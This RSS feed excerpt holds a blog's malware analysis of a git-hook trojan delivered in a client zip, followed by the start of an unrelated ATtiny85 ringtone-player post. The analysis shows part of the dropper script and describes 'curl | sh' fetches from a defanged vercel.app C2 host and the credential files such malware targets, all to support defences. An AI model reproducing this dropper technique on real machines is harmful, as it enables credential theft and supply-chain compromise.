class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/post-checkout&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/pre-push&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;(I have defanged the domain with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[.]&lt;/code&gt; so you can’t click it by accident.)&lt;/p&gt; &lt;p&gt;Four steps, and every one of them is doing a job.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uname -s&lt;/code&gt; picks the OS branch. The author wrote separate payloads for Linux, macOS, Windows (under MSYS/Cygwin/Git Bash) and a catch-all fallback. This is not a shotgun that sprays at one platform. It is engineered to work on whatever machine a software developer happens to be sitting in front of.&lt;/p&gt; &lt;p&gt;Each branch then fetches a platform-specific URL and pipes the response straight into a shell. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl | sh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget | sh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell -Hidden&lt;/code&gt;. No file touches disk. Whatever comes back from the server runs immediately, under the user’s account, with the user’s environment variables and credentials. The endpoints are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/l&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/m&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/w&lt;/code&gt;, which tells you how confident the attacker is that they can serve different payloads per OS.&lt;/p&gt; &lt;p&gt;The C2 is on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vercel.app&lt;/code&gt;. That is the same Vercel you deploy your Next.js site to. It is a legitimate, widely trusted CDN, and network monitoring rarely flags traffic to it because half the internet’s marketing pages live there. The choice is deliberate. If the attacker had used a sketchy VPS in an unrelated TLD, any serious corporate egress filter would have blocked it. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vercel.app&lt;/code&gt; sails through.&lt;/p&gt; &lt;p&gt;Next line, the script writes the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;0115&quot;&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/.git-checker&lt;/code&gt;. That number matches the suffix on the repo folder (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Healthcare-Medical-Supply-Plan-0115&lt;/code&gt;), so I am almost certain it is a campaign identifier. This is the same attacker running the same playbook against many developers, with a different numeric tag per campaign so they can correlate which lure caught which victim.&lt;/p&gt; &lt;p&gt;And then the last line deletes all four hook files, including itself. That is the part I find most unsettling. After one run, there is nothing left in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; for you to inspect. If you came back an hour later and checked, the directory would look completely normal. The only artifact is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/.git-checker&lt;/code&gt; with a four-character string in it, and if you are not specifically looking for it you will never notice.&lt;/p&gt; &lt;h2 id=&quot;what-the-remote-payload-actually-is-and-why-we-cant-know&quot;&gt;What the remote payload actually is, and why we can’t know&lt;/h2&gt; &lt;p&gt;I did not run the payload. I am not going to run the payload. What I can say is what attackers in this class of operation typically do once they have code execution on a developer’s machine, because the pattern is well documented:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Grab &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ssh/&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.gitconfig&lt;/code&gt; to harvest SSH keys and git credentials. Anyone whose personal SSH key unlocks company GitHub orgs has just handed over the company.&lt;/li&gt; &lt;li&gt;Scrape &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.aws/credentials&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.config/gcloud/&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.npmrc&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.pypirc&lt;/code&gt;, environment variables. Cloud keys, package registry tokens, CI tokens.&lt;/li&gt; &lt;li&gt;Drop a persistence layer: a cron job, a LaunchAgent on macOS, a systemd user unit on Linux, a scheduled task on Windows. Something that re-establishes a connection even after the hook files are gone.&lt;/li&gt; &lt;li&gt;Stage for lateral movement. A developer’s machine usually has SSH access to dev and staging, sometimes prod, and almost always to the git provider with write permissions on dozens of repos. That last one is how you turn one compromised laptop into a real supply chain attack against the developer’s employer and their employer’s customers.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The Vercel endpoint could serve any of these, and could serve different things to different victims, and could change at any moment. That is the other reason the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl | sh&lt;/code&gt; model is attractive to attackers: the payload is never fixed, so static analysis of the repo tells you nothing about what will actually run.&lt;/p&gt; &lt;h2 id=&quot;why-this-is-harder-to-catch-than-it-should-be&quot;&gt;Why this is harder to catch than it should be&lt;/h2&gt; &lt;p&gt;When I talk to other engineers about this one, the first reaction is usually “well, I would have seen it.” Maybe. I want to push back on that a little, because I think the attacker has thought about this harder than we want to admit.&lt;/p&gt; &lt;p&gt;The working tree review tells you nothing. There is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt;, no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup.py&lt;/code&gt;, no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile&lt;/code&gt;. You cannot even grep the source for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; because the source is the documentation and a Word doc. The whole point of this approach is that your normal review instincts are pointed at the wrong directory.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; is not something most people open. Even when they do, they look at the filenames, see a bunch of things ending in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt;, and move on. I have been using git for twelve years and I could not have told you, without checking, whether git runs a file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-rebase.sample&lt;/code&gt;. (It doesn’t. Which is why the attacker renamed the real payload to end in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt;, so even a careful reviewer who opens it thinks it is a template.)&lt;/p&gt; &lt;p&gt;And the three trigger files are not short scripts that obviously look wrong. They are long files that obviously look right. Each one is ninety-nine percent real git documentation, and the one percent that isn’t is dressed up as a comment. If I had opened &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commit-msg&lt;/code&gt; and scrolled through it, I am maybe sixty percent confident I would have caught that line on the first pass, and I was actively looking for suspicious hooks at that point. If I had been reviewing casually, I would have missed it.&lt;/p&gt; &lt;p&gt;The multi-trigger design is the piece I admire most, in the “admiring the architecture of a trap that almost caught you” sense. Even if you happen to disable the hooks you checked, the next git command in a different code path would have fired the one you didn’t. And because the dropper deletes everything after a single run, post-hoc forensics on a machine that was hit a week ago are basically impossible.&lt;/p&gt; &lt;h2 id=&quot;how-we-handle-client-code-and-why-that-saved-us&quot;&gt;How we handle client code, and why that saved us&lt;/h2&gt; &lt;p&gt;I want to be careful here, because the last thing I want to do is write a “lessons learned” section that implies I was careless before and wise after. I wasn’t careless. We have always treated client code as untrusted by default, because anyone who has spent more than a couple of years doing consulting has at least one story about a “harmless sample project” that turned out to be something else. The reason this post exists is that the attacker was clever enough that the usual process was the only thing between us and a compromised workstation. So I want to write down what that process actually is, in case it is useful to anyone else running a small shop.&lt;/p&gt; &lt;p&gt;Rule one: client code never touches a machine that has credentials on it. Not my laptop, not a teammate’s laptop, not anything that is logged into GitHub with my SSH key or has an AWS profile sitting in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.aws&lt;/code&gt;. We keep a small pool of dedicated review boxes for this. Some are plain VirtualBox VMs, some are cloud instances we spin up on demand, and for the lightest cases we use throwaway Docker containers on an otherwise empty host. The specific technology is not the point. The point is that the environment has nothing worth stealing and can be destroyed without thinking about it.&lt;/p&gt; &lt;p&gt;Rule two: the review environment gets reformatted every single time. Not “cleaned.” Not “reset to a snapshot from last month that also had three other clients’ code on it at some point.” Wiped. A fresh install, fresh clone of whatever baseline tooling we need, and nothing else. If it is a VM, we blow the disk image away and build a new one from a known-good template. If it is a cloud instance, we terminate it and provision a new one. Docker is nice for this because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker run --rm&lt;/code&gt; does most of the work for you, but only if you resist the urge to mount your home directory into the container, which defeats the entire point.&lt;/p&gt; &lt;p&gt;Rule three: no network egress that we haven’t thought about. A review VM does not need to reach arbitrary hosts on the internet. It needs to reach the git host the code came from, and maybe a package registry, and that is usually it. On the VMs we use seriously, egress is filtered. If the attacker’s payload in this sample had been allowed to run, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cleverstack-ext30341[.]vercel[.]app&lt;/code&gt; would have been a connection to something that was not on our allowlist, and the review machine would have shown that connection in its logs even if the payload finished silently. Having somewhere to look after the fact matters almost as much as not running the thing in the first place.&lt;/p&gt; &lt;p&gt;Rule four: even inside the disposable environment, we prefer to read before we run. This is the same instinct I wrote about in &lt;a href=&quot;/introduction-to-software-reverse-engineering/&quot;&gt;an introduction to software reverse engineering&lt;/a&gt;, just pointed at a shell script instead of a Windows binary. For a git repo specifically, that means cloning with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone --no-checkout&lt;/code&gt; so the initial checkout phase does not fire, and reading files through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git show&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log -p&lt;/code&gt; instead of materialising a working tree. It means opening &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; before opening anything else and treating every file in there as hostile regardless of extension, because after this one I am never going to assume &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.sample&lt;/code&gt; means inert again. A one-liner like&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;find .git/hooks &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;span class=&quot;nt&quot;&gt;-exec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-exec&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;is enough to catch the “why is this supposedly-template file 130 lines long and executable” case, which is exactly the question I would have been asking if I had opened &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post-rebase.sample&lt;/code&gt; cold.&lt;/p&gt; &lt;p&gt;Rule five, and this one is the cheap win I want everyone reading this post to take away even if they skip the rest: set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core.hooksPath&lt;/code&gt; globally.&lt;/p&gt; &lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git config &lt;span class=&quot;nt&quot;&gt;--global&lt;/span&gt; core.hooksPath ~/.git-hooks-global &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;Once that is set, git ignores the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; directory inside every repo you touch and only runs hooks from the directory you point it at. The attacker’s hooks stay on disk. They just never fire. You lose the ability to use per-repo hooks, which is a real trade-off if you work on projects that ship legitimate ones, so this is not something I would recommend forcing on a whole engineering team for all their repos. But for the specific case of “someone I do not fully trust just handed me a zip file and I want to take a look,” it is the single most effective one-line defence I know of. Think of it as the git equivalent of “don’t open attachments from strangers.”&lt;/p&gt; &lt;p&gt;Any one of those controls on its own is worth something. All of them together is what turns a well-engineered trap into a curiosity I can write a blog post about, instead of an incident response I am writing an internal post-mortem about.&lt;/p&gt; &lt;p&gt;There is one more habit I am adding after this: treat “zip with no real source files” as a flag, not a relaxing signal. A folder where the working tree is nothing but a README, a Word doc, and some PDFs used to mean “probably a stakeholder who just wants an estimate.” After this one, it is the exact shape of the trap, and the next time I see it I am opening &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt; before I open anything else.&lt;/p&gt; &lt;h2 id=&quot;what-the-security-press-published-a-month-later&quot;&gt;What the security press published a month later&lt;/h2&gt; &lt;p&gt;I put this post up on 15 April. On 13 May, SOC Prime published an analysis of a campaign that abuses git hooks the same way, and over the following weeks the same story went round the security press under the names Contagious Interview and TaskJacker, attributed to the Lazarus Group. The payloads they name are BeaverTail and InvisibleFerret, both of which the same reporting ties to earlier operations by that group.&lt;/p&gt; &lt;p&gt;I am not going to tell you my sample was Lazarus. I do not have the evidence for that, and neither does anybody working only from what I have. What I can do is put the two side by side, because the overlap is close enough to be worth writing down, and the differences are interesting on their own.&lt;/p&gt; &lt;p&gt;What lines up:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Git hooks as the execution vector, which is the whole point, and still the part I find genuinely novel.&lt;/li&gt; &lt;li&gt;A Vercel subdomain as the C2, for the same reason I described above. It is a trusted host that egress filters wave through.&lt;/li&gt; &lt;li&gt;Per-OS endpoints on that host, selected by fingerprinting the machine before anything is fetched.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; piped straight into a shell, so nothing lands on disk.&lt;/li&gt; &lt;li&gt;The target is a working software developer, reached through a conversation that has a plausible reason to hand over a repository.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;What does not line up:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Their hooks sit in a tracked &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.githooks/&lt;/code&gt; directory, which only fires if the repo or the developer has pointed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core.hooksPath&lt;/code&gt; at it. Mine were in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/hooks/&lt;/code&gt;, inside an embedded git directory shipped in a zip. That difference matters more than it looks. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; does not carry hooks, so cloning a hostile repo the normal way cannot do this to you. Being handed a zip with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git&lt;/code&gt; folder already inside it can, and that delivery path had not occurred to me before this one landed.&lt;/li&gt; &lt;li&gt;Their endpoints are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/settings/mac?flag=5&lt;/code&gt; and siblings. Mine were &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/l&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/m&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/w&lt;/code&gt;.&lt;/li&gt; &lt;li&gt;Their lure is a fake coding assessment from a fake recruiter, usually themed around crypto or DeFi. Mine came in through our sales pipeline as a healthcare supply chain project, from a domain impersonating a real US IT firm, after two discovery calls.&lt;/li&gt; &lt;li&gt;I have not seen the self-deleting dropper or the campaign counter in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/.git-checker&lt;/code&gt; described in any of their write-ups. That may only mean nobody has published on this variant yet.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Same tradecraft, different delivery, and I would not claim more than that. It could be the same operators running a second lure aimed at consultancies instead of job seekers. It could be a different group that read the same reporting and copied a good idea, which happens constantly. Attribution is a job for people with telemetry I do not have.&lt;/p&gt; &lt;p&gt;The reason I am adding this section at all is that none of it changes what you should do. If you set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;core.hooksPath&lt;/code&gt;, it does not matter whose campaign it was. That is the useful thing about defending against a technique instead of an actor.&lt;/p&gt; &lt;p&gt;The published research, if you want it: &lt;a href=&quot;https://socprime.com/active-threats/lazarus-group-uses-git-hooks-to-hide-malware-dprks-contagious-interview-and-taskjacker-campaign-is-now-hiding-its-second-stage-loader-inside-git-hooks-that-download-invisibleferret-and-beave/&quot; target=&quot;_blank&quot;&gt;SOC Prime’s analysis of the git hooks loader&lt;/a&gt;, and the coverage at &lt;a href=&quot;https://gbhackers.com/git-hooks-abused/&quot; target=&quot;_blank&quot;&gt;gbhackers&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;closing-thought&quot;&gt;Closing thought&lt;/h2&gt; &lt;p&gt;The reason this one bothers me more than the usual malicious-npm-package story is that the victim does not have to do anything wrong. They don’t &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt; a random dependency. They don’t run a strange shell script. They don’t even open a file. They run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; on a URL someone sent them, which is an operation every developer performs dozens of times a week without thinking. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; is not supposed to execute arbitrary code. The attacker found a corner of git’s design where, technically, it can.&lt;/p&gt; &lt;p&gt;I don’t think this is a git bug. Hooks are a useful feature, and making them opt-in would break real workflows for real people. It is a sharp edge, and the problem is that almost nobody in our industry is taught about it until the day someone tries to use it on them. The attackers have clearly noticed. We should probably catch up.&lt;/p&gt; &lt;p&gt;&lt;em&gt;All code in this post was reproduced from a real malware sample for defensive-research purposes only. The C2 domain has been defanged. If you work in incident response and want the full IOCs, reach out.&lt;/em&gt;&lt;/p&gt; </description> <pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate> <link>https://tejashwi.in/git-hook-trojan-supply-chain-malware/</link> <guid isPermaLink="true">https://tejashwi.in/git-hook-trojan-supply-chain-malware/</guid> <category>security</category> <category>git</category> <category>supply-chain</category> <category>malware</category> <category>reverse-engineering</category> <category>shell</category> <category>devops</category> <category>Security</category> <category>Open Source</category> </item> <item> <title>Nokia Composer on ATtiny85: ringtones on a chip the size of a fingernail</title> <description>&lt;p&gt;If you grew up in the late 90s or early 2000s, you probably remember the Nokia Composer. Not as an app, not as a feature on some settings page. You remember it as the thing you opened on a Nokia 3310 during a boring class, punching in notes one at a time, trying to recreate a song from memory. No internet to look up the notes. No copy-paste. Just you, the keypad, and your ear.&lt;/p&gt; &lt;p&gt;The ringtones were monophonic. One note at a time. Square wave through a tiny piezo speaker. They sounded awful by any reasonable standard. But somehow, when the Imperial March came through that speaker – tinny and flat and about as musical as a smoke detector – you recognized it instantly. Everyone on the bus did too.&lt;/p&gt; &lt;p&gt;People shared ringtones by texting the note sequences to each other. Not audio files. Text. Something like:&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;16e2 16d2 8#f 8#g 16#c2 16b 8d 8e 16b 16a 8#c 8e 2a 2- &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;That’s the Nokia Tune. The one that shipped on every Nokia phone and became one of the most recognized melodies in the world. All encoded in a string shorter than a tweet.&lt;/p&gt; &lt;p&gt;I wanted to bring that back.&lt;/p&gt; &lt;h2 id=&quot;why&quot;&gt;Why&lt;/h2&gt; &lt;p&gt;I’ve been maintaining &lt;a href=&quot;https://github.com/tejashwikalptaru/ssd1306xled&quot;&gt;ssd1306xled&lt;/a&gt;, a lightweight OLED driver for the ATtiny85 and similar constrained microcontrollers. I &lt;a href=&quot;/journey-of-ssd1306xled-library/&quot;&gt;wrote about its history&lt;/a&gt; a few months ago, and about &lt;a href=&quot;/a-tiny-game-console-based-on-attiny85/&quot;&gt;the handheld game console&lt;/a&gt; that made me fix it in the first place. The library recently hit its first proper v1.0.0 release. Contributors have submitted pull requests, the CI pipeline is solid, the documentation is actually useful. It feels like a real project now.&lt;/p&gt; &lt;p&gt;With the v1.0.0 milestone behind me, I wanted to build something fun. Something that shows off what the library can do on minimal hardware. Not another LED blinker. Something with personality.&lt;/p&gt; &lt;p&gt;I stumbled on &lt;a href=&quot;https://zserge.com/nokia-composer/&quot;&gt;zserge’s Nokia Composer&lt;/a&gt;, a web-based recreation of the Nokia 3310 ringtone editor. You type in note sequences and it plays them back with that familiar square-wave sound. The whole thing runs in about 500 bytes of JavaScript. Looking at it, I thought: if this fits in 500 bytes of JS, it should fit on an ATtiny85. An 8-pin chip with 8KB of flash, a tiny OLED, and a piezo buzzer. Nokia Composer in hardware.&lt;/p&gt; &lt;h2 id=&quot;the-notation&quot;&gt;The notation&lt;/h2&gt; &lt;p&gt;Before getting into the build, it helps to understand the notation. Nokia Composer uses a space-separated format where each token describes one note:&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/nokia-composer/notation-480w.avif 480w, /assets/images/nokia-composer/notation-640w.avif 640w, /assets/images/nokia-composer/notation-960w.avif 960w, /assets/images/nokia-composer/notation-1280w.avif 1280w, /assets/images/nokia-composer/notation.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/nokia-composer/notation-480w.webp 480w, /assets/images/nokia-composer/notation-640w.webp 640w, /assets/images/nokia-composer/notation-960w.webp 960w, /assets/images/nokia-composer/notation-1280w.webp 1280w, /assets/images/nokia-composer/notation.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/png&quot; srcset=&quot;/assets/images/nokia-composer/notation-480w.png 480w, /assets/images/nokia-composer/notation-640w.png 640w, /assets/images/nokia-composer/notation-960w.png 960w, /assets/images/nokia-composer/notation.png 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;img src=&quot;/assets/images/nokia-composer/notation.png&quot; alt=&quot;Anatomy of a Nokia Composer note token&quot; class=&quot;&quot; width=&quot;1600&quot; height=&quot;503&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; /&gt; &lt;/picture&gt; &lt;p&gt;The format is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[duration][.][#][note][octave]&lt;/code&gt;:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Duration&lt;/strong&gt;: 1, 2, 4, 8, 16, or 32. These are fractions of a whole note. An &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8&lt;/code&gt; is an eighth note. A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt; is a half note. Default is 4 (quarter note) if you leave it out.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Dot&lt;/strong&gt;: A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; after the duration makes it a dotted note – 1.5 times the normal length.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Sharp&lt;/strong&gt;: A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt; raises the pitch by one semitone.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Note&lt;/strong&gt;: A letter from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g&lt;/code&gt;. Or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt; for a rest (silence).&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Octave&lt;/strong&gt;: 1, 2, or 3. Default is 1. These map to piano octaves 4, 5, and 6.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8.#f2&lt;/code&gt; means: dotted eighth note, F-sharp, octave 2. In musical terms, that’s F#5 at 1.5 times the duration of a regular eighth note.&lt;/p&gt; &lt;p&gt;The beauty of this format is density. The entire Nokia Tune fits in 56 characters. Harry Potter’s Hedwig’s Theme fits in about 200. You can store dozens of songs in a few kilobytes of flash.&lt;/p&gt; &lt;h2 id=&quot;fitting-it-on-an-attiny85&quot;&gt;Fitting it on an ATtiny85&lt;/h2&gt; &lt;p&gt;The ATtiny85 has eight pins. One is VCC, one is GND, one is RESET (not usable as GPIO without fuse hacking). That leaves five. Here’s how they’re all spoken for:&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Pin&lt;/th&gt; &lt;th&gt;Function&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;PB0&lt;/td&gt; &lt;td&gt;I2C data (SDA) to OLED&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;PB2&lt;/td&gt; &lt;td&gt;I2C clock (SCL) to OLED&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;PB4&lt;/td&gt; &lt;td&gt;Piezo buzzer&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;PB1&lt;/td&gt; &lt;td&gt;“Next tune” button&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;PB3&lt;/td&gt; &lt;td&gt;“Play” button&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;Five pins, five functions, zero slack. The constraints shaped everything else.&lt;/p&gt; &lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;/assets/images/nokia-composer/architecture-480w.avif 480w, /assets/images/nokia-composer/architecture-640w.avif 640w, /assets/images/nokia-composer/architecture-960w.avif 960w, /assets/images/nokia-composer/architecture-1280w.avif 1280w, /assets/images/nokia-composer/architecture.avif 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; /&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;/assets/images/nokia-composer/architecture-480w.webp 480w, /assets/images/nokia-composer/architecture-640w.webp 640w, /assets/images/nokia-composer/architecture-960w.webp 960w, /assets/images/nokia-composer/architecture-1280w.webp 1280w, /assets/images/nokia-composer/architecture.webp 1920w&quot; sizes=&quot;(max-width: 768px) 100vw, 768px&quot; 